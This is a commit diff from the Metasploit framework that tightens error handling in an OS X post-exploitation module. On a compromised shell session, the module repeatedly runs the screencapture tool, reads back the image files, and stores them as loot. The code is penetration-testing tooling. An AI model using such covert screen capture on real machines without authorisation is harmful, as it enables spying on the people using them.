Tighter error handling
parent
92da6760ef
commit
c4a8bfb175
|
@ -20,7 +20,7 @@ class Metasploit3 < Msf::Post
|
||||||
'License' => MSF_LICENSE,
|
'License' => MSF_LICENSE,
|
||||||
'Author' =>
|
'Author' =>
|
||||||
[
|
[
|
||||||
'Peter Toth <globetother[at]gmail.com>'
|
'Peter Toth <globetother[at]gmail.com>' # ported windows version to osx
|
||||||
],
|
],
|
||||||
'Platform' => [ 'osx' ],
|
'Platform' => [ 'osx' ],
|
||||||
'SessionTypes' => [ 'shell' ]
|
'SessionTypes' => [ 'shell' ]
|
||||||
|
@ -40,39 +40,37 @@ class Metasploit3 < Msf::Post
|
||||||
end
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
host = session.session_host
|
|
||||||
screenshot = Msf::Config.get_config_root + "/logs/" + host + ".jpg"
|
|
||||||
file_type = datastore['FILETYPE'].shellescape
|
file_type = datastore['FILETYPE'].shellescape
|
||||||
tmp_path = datastore['TMP_PATH'].shellescape.gsub('random', Rex::Text.rand_text_alpha(8))
|
tmp_path = datastore['TMP_PATH'].shellescape.gsub('random', Rex::Text.rand_text_alpha(8))
|
||||||
|
|
||||||
begin
|
count = datastore['COUNT']
|
||||||
count = datastore['COUNT']
|
print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds"
|
||||||
print_status "Capturing #{count} screenshots with a delay of #{datastore['DELAY']} seconds"
|
# calculate a sane number of leading zeros to use. log of x is ~ the number of digits
|
||||||
# calculate a sane number of leading zeros to use. log of x is ~ the number of digits
|
leading_zeros = Math::log10(count).round
|
||||||
leading_zeros = Math::log10(count).round
|
file_locations = []
|
||||||
file_locations = []
|
count.times do |num|
|
||||||
count.times do |num|
|
Rex.sleep(datastore['DELAY'])
|
||||||
select(nil, nil, nil, datastore['DELAY'])
|
begin
|
||||||
|
# This is an OSX module, so mkdir -p should be fine
|
||||||
|
cmd_exec("mkdir -p #{tmp_path}")
|
||||||
|
filename = Rex::Text.rand_text_alpha(7)
|
||||||
|
file = tmp_path + "/" + filename
|
||||||
|
cmd_exec(datastore['EXE_PATH'].shellescape + " -C -t " + datastore['FILETYPE'].shellescape + " " + file)
|
||||||
|
data = read_file(file)
|
||||||
|
rescue RequestError => e
|
||||||
|
print_error("Error taking the screenshot: #{e.class} #{e} #{e.backtrace}")
|
||||||
|
return false
|
||||||
|
end
|
||||||
|
if data
|
||||||
begin
|
begin
|
||||||
# This is an OSX module, so mkdir -p should be fine
|
|
||||||
cmd_exec("mkdir -p #{tmp_path}")
|
|
||||||
filename = Rex::Text.rand_text_alpha(7)
|
|
||||||
file = tmp_path + "/" + filename
|
|
||||||
cmd_exec(datastore['EXE_PATH'].shellescape + " -C -t " + datastore['FILETYPE'].shellescape + " " + file)
|
|
||||||
data = read_file(file)
|
|
||||||
rescue RequestError => e
|
|
||||||
print_error("Error taking the screenshot: #{e.class} #{e} #{e.backtrace}")
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
if data
|
|
||||||
# let's loot it using non-clobbering filename, even tho this is the source filename, not dest
|
# let's loot it using non-clobbering filename, even tho this is the source filename, not dest
|
||||||
fn = "screenshot.%0#{leading_zeros}d.#{file_type}" % num
|
fn = "screenshot.%0#{leading_zeros}d.#{file_type}" % num
|
||||||
file_locations << store_loot("screen_capture.screenshot", "image/#{file_type}", session, data, fn, "Screenshot")
|
file_locations << store_loot("screen_capture.screenshot", "image/#{file_type}", session, data, fn, "Screenshot")
|
||||||
|
rescue IOError, Errno::ENOENT => e
|
||||||
|
print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}")
|
||||||
|
return false
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
rescue IOError, Errno::ENOENT => e
|
|
||||||
print_error("Error storing screenshot: #{e.class} #{e} #{e.backtrace}")
|
|
||||||
return
|
|
||||||
end
|
end
|
||||||
print_status("Screen Capturing Complete")
|
print_status("Screen Capturing Complete")
|
||||||
if file_locations and not file_locations.empty?
|
if file_locations and not file_locations.empty?
|
||||||
|
|
Loading…
Reference in New Issue